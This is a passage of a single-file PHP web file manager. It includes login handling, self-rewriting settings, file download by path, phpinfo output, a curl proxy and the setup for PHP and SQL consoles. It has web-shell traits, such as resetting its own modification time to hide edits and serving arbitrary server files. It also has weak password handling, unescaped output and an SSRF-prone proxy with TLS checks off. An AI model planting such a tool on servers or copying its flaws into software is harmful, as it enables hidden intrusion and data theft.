$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменÑть надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
